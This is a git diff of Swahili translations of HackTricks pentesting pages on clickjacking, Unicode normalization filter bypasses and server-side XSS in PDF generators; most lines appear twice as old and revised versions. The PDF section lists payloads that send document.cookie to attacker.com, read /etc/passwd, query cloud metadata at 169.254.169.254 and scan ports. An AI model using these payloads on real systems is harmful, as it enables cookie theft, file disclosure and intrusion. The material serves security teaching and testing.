Ikiwa umepata **shambulio la XSS linalohitaji mtumiaji kubonyeza** kwenye kipengele fulani ili **kuanzisha** XSS na ukurasa ni **hawezi kuathiriwa na clickjacking**, unaweza kutumia hiyo kumdanganya mtumiaji kubonyeza kitufe/kiungo.\
Ikiwa umepata **shambulio la XSS linalohitaji mtumiaji kubonyeza** kwenye kipengele fulani ili **kuanzisha** XSS na ukurasa ni **hauna kinga dhidi ya clickjacking**, unaweza kutumia hii kudanganya mtumiaji kubonyeza kitufe/kiungo.\
Mfano:\
Umebaini **self XSS** katika maelezo ya kibinafsi ya akaunti (maelezo ambayo **ni wewe pekee unaweza kuweka na kusoma**). Ukurasa wenye **fomu** ya kuweka maelezo haya ni **hawezi kuathiriwa** na **Clickjacking** na unaweza **kujaza** **fomu** kwa vigezo vya GET.\
Mshambuliaji anaweza kuandaa shambulio la **Clickjacking** kwa ukurasa huo **ukijaza** **fomu** kwa **XSS payload** na **kumdanganya** **mtumiaji** ku **Tuma** fomu. Hivyo, **wakati fomu inatumwa** na thamani zimebadilishwa, **mtumiaji atatekeleza XSS**.
Umebaini **self XSS** katika maelezo ya kibinafsi ya akaunti (maelezo ambayo **ni wewe pekee unayeweza kuweka na kusoma**). Ukurasa wenye **fomu** ya kuweka maelezo haya ni **hauna kinga** dhidi ya **Clickjacking** na unaweza **kujaza** **fomu** kwa vigezo vya GET.\
Mshambuliaji anaweza kuandaa shambulio la **Clickjacking** kwa ukurasa huo **ukijaza** **fomu** kwa **XSS payload** na **kudanganya** **mtumiaji** ku **Tuma** fomu. Hivyo, **wakati fomu inatumwa** na thamani zimebadilishwa, **mtumiaji atatekeleza XSS**.
### DoubleClickjacking
@ -100,8 +100,10 @@ Kwanza [ilielezwa katika chapisho hili](https://securityaffairs.com/172572/hacki
Mfano unaweza kuonekana katika video hii: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Mfano wa msimbo unaweza kupatikana katika [ukurasa huu](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
> [!WARNING]
> Mbinu hii inaruhusu kumdanganya mtumiaji kubonyeza mahali 1 kwenye ukurasa wa mwathirika ikipita kila ulinzi dhidi ya clickjacking. Hivyo mshambuliaji anahitaji kutafuta **vitendo nyeti ambavyo vinaweza kufanywa kwa kubonyeza 1 tu, kama vile maonyo ya OAuth yanayokubali ruhusa**.
> Mbinu hii inaruhusu kudanganya mtumiaji kubonyeza mahali 1 kwenye ukurasa wa mwathirika ikipita kila ulinzi dhidi ya clickjacking. Hivyo mshambuliaji anahitaji kutafuta **vitendo nyeti ambavyo vinaweza kufanywa kwa kubonyeza 1 tu, kama vile maonyo ya OAuth yanayokubali ruhusa**.
## Mikakati ya Kupunguza Clickjacking
@ -109,14 +111,14 @@ Mfano unaweza kuonekana katika video hii: [https://www.youtube.com/watch?v=4rGvR
Scripts zinazotekelezwa upande wa mteja zinaweza kufanya vitendo vya kuzuia Clickjacking:
- Kuhakikisha dirisha la programu ndilo dirisha kuu au la juu.
- Kuhakikisha dirisha la programu ni dirisha kuu au la juu.
- Kufanya fremu zote ziwe wazi.
- Kuzuia bonyeza kwenye fremu zisizoonekana.
- Kugundua na kuwajulisha watumiaji kuhusu majaribio ya Clickjacking yanayoweza kutokea.
- Kuzuia bonyezo kwenye fremu zisizoonekana.
- Kugundua na kuonya watumiaji kuhusu majaribio ya Clickjacking yanayoweza kutokea.
Hata hivyo, hizi scripts za kuvunja fremu zinaweza kupuuziliwa mbali:
- **Mipangilio ya Usalama ya Vivinjari:** Vivinjari vingine vinaweza kuzuia hizi scripts kulingana na mipangilio yao ya usalama au ukosefu wa msaada wa JavaScript.
- **Mipangilio ya Usalama ya Kivinjari:** Baadhi ya vivinjari vinaweza kuzuia hizi scripts kulingana na mipangilio yao ya usalama au ukosefu wa msaada wa JavaScript.
- **HTML5 iframe `sandbox` Attribute:** Mshambuliaji anaweza kuondoa scripts za kuvunja fremu kwa kuweka sifa ya `sandbox` na thamani za `allow-forms` au `allow-scripts` bila `allow-top-navigation`. Hii inazuia iframe kuthibitisha ikiwa ni dirisha la juu, e.g.,
```html
<iframe
@ -133,36 +135,36 @@ The `allow-forms` and `allow-scripts` values enable actions within the iframe wh
The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
- `X-Frame-Options: deny` - Hakuna domain inayoweza kuweka maudhui kwenye fremu.
- `X-Frame-Options: sameorigin` - Tovuti ya sasa pekee inaweza kuweka maudhui kwenye fremu.
- `X-Frame-Options: allow-from https://trusted.com` - Tovuti iliyoainishwa pekee inaweza kuweka ukurasa kwenye fremu.
- `X-Frame-Options: sameorigin` - Ni tovuti ya sasa pekee inayoweza kuweka maudhui kwenye fremu.
- `X-Frame-Options: allow-from https://trusted.com` - Ni 'uri' iliyoainishwa pekee inayoweza kuweka ukurasa kwenye fremu.
- Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda usifanye kazi. Kivinjari vingine hupendelea mwelekeo wa CSP frame-ancestors.
#### Content Security Policy (CSP) frame-ancestors directive
**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:
**`frame-ancestors` directive in CSP** ni njia inayopendekezwa kwa ulinzi wa Clickjacking:
- `frame-ancestors 'none'` - Kama `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Kama `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Kama `X-Frame-Options: allow-from`.
- `frame-ancestors 'none'` - Inafanana na `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Inafanana na `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Inafanana na `X-Frame-Options: allow-from`.
For instance, the following CSP only allows framing from the same domain:
Kwa mfano, CSP ifuatayo inaruhusu tu kuweka fremu kutoka kwenye domain ile ile:
`Content-Security-Policy: frame-ancestors 'self';`
Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
Maelezo zaidi na mifano ngumu yanaweza kupatikana katika [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) na [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Content Security Policy (CSP) with `child-src` and `frame-src`
**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
**Content Security Policy (CSP)** ni kipimo cha usalama kinachosaidia kuzuia Clickjacking na mashambulizi mengine ya kuingiza msimbo kwa kuainisha vyanzo gani kivinjari kinapaswa kuruhusu kupakia maudhui.
#### `frame-src` Directive
- Defines valid sources for frames.
- More specific than the `default-src` directive.
- Inaelezea vyanzo halali kwa ajili ya fremu.
- Ni maalum zaidi kuliko mwelekeo wa `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Sera hii inaruhusu fremu kutoka chanzo kimoja (mwenyewe) na https://trusted-website.com.
Sera hii inaruhusu fremu kutoka chanzo sawa (mwenyewe) na https://trusted-website.com.
#### `child-src` Mwelekeo
@ -179,9 +181,9 @@ Sera hii inaruhusu fremu na wafanyakazi kutoka chanzo kimoja (mwenyewe) na https
- Tabia ya Kurejelea: Ikiwa frame-src haipo, child-src inatumika kama kurejelea kwa fremu. Ikiwa zote hazipo, default-src inatumika.
- Mwelekeo Mkali wa Chanzo: Jumuisha tu vyanzo vinavyotegemewa katika maagizo ili kuzuia unyakuzi.
#### Mifumo ya JavaScript ya Kuvunja Fremu
#### Scripts za Kuondoa Fremu za JavaScript
Ingawa si salama kabisa, mifumo ya kuvunja fremu inayotumia JavaScript inaweza kutumika kuzuia ukurasa wa wavuti usiwe na fremu. Mfano:
Ingawa si salama kabisa, scripts za kuondoa fremu za msingi wa JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usiweze kuwekwa kwenye fremu. Mfano:
```javascript
if (top !== self) {
top.location = self.location
@ -189,9 +191,9 @@ top.location = self.location
```
#### Kutumia Tokeni za Anti-CSRF
- **Uthibitishaji wa Tokeni:** Tumia tokeni za anti-CSRF katika programu za wavuti ili kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.
- **Uthibitishaji wa Tokeni:** Tumia tokeni za anti-CSRF katika programu za wavuti kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.
## Marejeo
## Marejeleo
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)

View File

@ -4,26 +4,26 @@
**Hii ni muhtasari wa:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Angalia kwa maelezo zaidi (picha zimechukuliwa kutoka hapo).
## Kuelewa Unicode na Normalization
## Understanding Unicode and Normalization
Unicode normalization ni mchakato unaohakikisha uwakilishi tofauti wa kibinafsi wa wahusika unakuwa wa kiwango sawa. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika:
Unicode normalization ni mchakato unaohakikisha kwamba uwakilishi tofauti wa kibinafsi wa wahusika unastandariswa kuwa thamani moja ya kibinafsi. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika:
1. **Canonical Equivalence**: Wahusika wanachukuliwa kuwa sawa kikanuni ikiwa wana muonekano na maana sawa wanapochapishwa au kuonyeshwa.
2. **Compatibility Equivalence**: Aina dhaifu ya usawa ambapo wahusika wanaweza kuwakilisha wahusika sawa wa kiabstrakti lakini wanaweza kuonyeshwa tofauti.
Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa kuelewa zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/).
Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa ufahamu wa kina zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/).
### Vidokezo Muhimu Kuhusu Unicode Encoding
### Key Points on Unicode Encoding
Kuelewa Unicode encoding ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna vidokezo vikuu:
Kuelewa encoding ya Unicode ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna pointi kuu:
- **Code Points na Wahusika**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
- **Uwakilishi wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (maarufu katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa bytes. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
- **Usindikaji wa Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
- **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumika angalau byte 2, hadi 4) na UTF-32 (ikitumika byte 4 kwa wahusika wote).
- **Code Points and Characters**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
- **Bytes Representation**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa byte. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
- **Processing Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
- **Variants of UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumia angalau byte 2, hadi 4) na UTF-32 (ikitumia byte 4 kwa wahusika wote).
Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza masuala yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding.
Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza matatizo yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding.
Mfano wa jinsi Unicode inavyonormalize byte mbili tofauti zinazowakilisha wahusika sawa:
```python
@ -37,13 +37,13 @@ Ikiwa unaweza kupata ndani ya webapp thamani inayorejelewa, unaweza kujaribu kut
Mfano mwingine: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` baada ya **unicode** ni `Leonishan`.
## **Mifano Inayoweza Kuathiriwa**
## **Mifano ya Hatari**
### **Kupita Kichujio cha SQL Injection**
### **Kupita mfilizo wa SQL Injection**
Fikiria ukurasa wa wavuti unaotumia wahusika `'` kuunda maswali ya SQL na ingizo la mtumiaji. Wavuti hii, kama hatua ya usalama, **inafuta** matukio yote ya wahusika **`'`** kutoka kwa ingizo la mtumiaji, lakini **baada ya kufutwa** na **kabla ya kuunda** swali, inafanya **normalisation** kwa kutumia **Unicode** ingizo la mtumiaji.
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa kuwa la kawaida, nukta moja inaundwa na **udhaifu wa SQLInjection** unaonekana:
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa normalised, nukta moja inaundwa na **SQLInjection vulnerability** inaonekana:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -93,12 +93,22 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `%
Wakati backend inafanya **kuangalia ingizo la mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **ingizo** linakuwa **normalized** kwa **regex** lakini **siyo** kwa mahali linapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing the sent URL** lakini kisha **inaccess it as is**.
Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu **kuunda tofauti za ingizo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
Zana [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* inaruhusu **kuunda tofauti za ingizo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow
Kutoka kwenye [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), thamani ya juu ya byte ni 255, ikiwa server ina udhaifu, overflow inaweza kuandaliwa ili kutoa wahusika maalum na wasiotarajiwa wa ASCII. Kwa mfano, wahusika ifuatayo watahamasishwa kuwa `A`:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## References
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Server Side XSS (Dynamic PDF)
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kuwadanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mpangilio**.\
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS wa kiholela**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
Tafadhali, zingatia kwamba vitambulisho vya `<script></script>` havifanyi kazi kila wakati, hivyo utahitaji njia tofauti ya kutekeleza JS (kwa mfano, kutumia `<img` ).\
Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliyoundwa**, hivyo utaweza kuona kila kitu unachokiandika kupitia JS (ukitumia `document.write()` kwa mfano). Lakini, ikiwa **hutaweza kuona** PDF iliyoundwa, huenda ukahitaji **kuchota taarifa kwa kufanya ombi la wavuti kwako** (Blind).
Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kupakua pdf iliyoundwa**, hivyo utaweza kuona kila kitu unachokiandika kupitia JS (ukitumia `document.write()` kwa mfano). Lakini, ikiwa **hutaweza kuona** PDF iliyoundwa, huenda ukahitaji **kuchota taarifa kwa kufanya ombi la wavuti kwako** (Blind).
### Uundaji wa PDF maarufu
### Uundaji maarufu wa PDF
- **wkhtmltopdf** inajulikana kwa uwezo wake wa kubadilisha HTML na CSS kuwa hati za PDF, ikitumia injini ya uwasilishaji ya WebKit. Chombo hiki kinapatikana kama zana ya amri ya chanzo wazi, na kufanya iweze kupatikana kwa matumizi mbalimbali.
- **TCPDF** inatoa suluhisho thabiti ndani ya mfumo wa PHP kwa uundaji wa PDF. Ina uwezo wa kushughulikia picha, grafiki, na usimbaji, ikionyesha uwezo wake wa kuunda hati ngumu.
- **TCPDF** inatoa suluhisho thabiti ndani ya mfumo wa PHP kwa uundaji wa PDF. Ina uwezo wa kushughulikia picha, grafiki, na usimbuaji, ikionyesha uwezo wake wa kuunda hati ngumu.
- Kwa wale wanaofanya kazi katika mazingira ya Node.js, **PDFKit** inatoa chaguo linalofaa. Inaruhusu uundaji wa hati za PDF moja kwa moja kutoka HTML na CSS, ikitoa daraja kati ya maudhui ya wavuti na fomati zinazoweza kuchapishwa.
- Wajenzi wa Java wanaweza kupendelea **iText**, maktaba ambayo si tu inarahisisha uundaji wa PDF bali pia inasaidia vipengele vya juu kama saini za dijitali na kujaza fomu. Seti yake kamili ya vipengele inafanya iweze kutumika kwa kuunda hati salama na za mwingiliano.
- **FPDF** ni maktaba nyingine ya PHP, inayojulikana kwa urahisi na urahisi wa matumizi. Imeundwa kwa ajili ya wabunifu wanaotafuta njia rahisi ya uundaji wa PDF, bila haja ya vipengele vingi.
@ -22,7 +22,7 @@ Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliy
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,6 +32,22 @@ Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliy
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
@ -79,7 +95,7 @@ Njia bora ya kutumia udhaifu huu ni kutumia udhaifu huo kufanya bot ipakue scrip
### Soma faili la ndani / SSRF
> [!WARNING]
> Badilisha `file:///etc/passwd` kwa `http://169.254.169.254/latest/user-data` kwa mfano ili **kujaribu kufikia ukurasa wa wavuti wa nje (SSRF)**.
> Badilisha `file:///etc/passwd` kwa `http://169.254.169.254/latest/user-data` kwa mfano ili **ujaribu kufikia ukurasa wa wavuti wa nje (SSRF)**.
>
> Ikiwa SSRF inaruhusiwa, lakini huwezi **kufikia** kikoa au IP ya kuvutia, [angalia ukurasa huu kwa njia za kupita](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
@ -115,7 +131,7 @@ xhzeem.send();
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Kuchelewesha kwa bot
### Kuchelewesha bot
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
@ -147,13 +163,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Ukiwa na udhaifu huu, unaweza kuubadilisha kwa urahisi kuwa SSRF (kwa sababu unaweza kufanya script ipakue rasilimali za nje). Hivyo jaribu tu kuutumia (kusoma metadata baadhi?).
Uthibitisho huu unaweza kubadilishwa kwa urahisi kuwa SSRF (kama unaweza kufanya script ipakue rasilimali za nje). Hivyo jaribu kuutumia (soma metadata baadhi?).
### Attachments: PD4ML
Kuna injini kadhaa za HTML 2 PDF ambazo zinaruhusu **kueleza viambatisho kwa PDF**, kama **PD4ML**. Unaweza kutumia kipengele hiki **kuambatisha faili yoyote ya ndani** kwenye PDF.\
Ili kufungua kiambatisho, nilifungua faili hiyo kwa **Firefox na kubonyeza mara mbili alama ya Paperclip** ili **kuhifadhi kiambatisho** kama faili mpya.\
Kuchukua **PDF response** na burp pia inapaswa **kuonyesha kiambatisho kwa maandiko wazi** ndani ya PDF.
Kuna injini kadhaa za HTML 2 PDF ambazo zinaruhusu **kuelezea viambatisho kwa PDF**, kama **PD4ML**. Unaweza kutumia kipengele hiki **kuambatisha faili yoyote ya ndani** kwenye PDF.\
Ili kufungua kiambatisho nilifungua faili hiyo kwa **Firefox na kubonyeza mara mbili alama ya Paperclip** ili **kuhifadhi kiambatisho** kama faili mpya.\
Kuchukua **jibu la PDF** na burp pia **kitaonyesha kiambatisho kwa maandiko wazi** ndani ya PDF.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
@ -163,11 +179,12 @@ description="attachment sample"
icon="Paperclip" />
</html>
```
## Marejeo
## Marejeleo
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}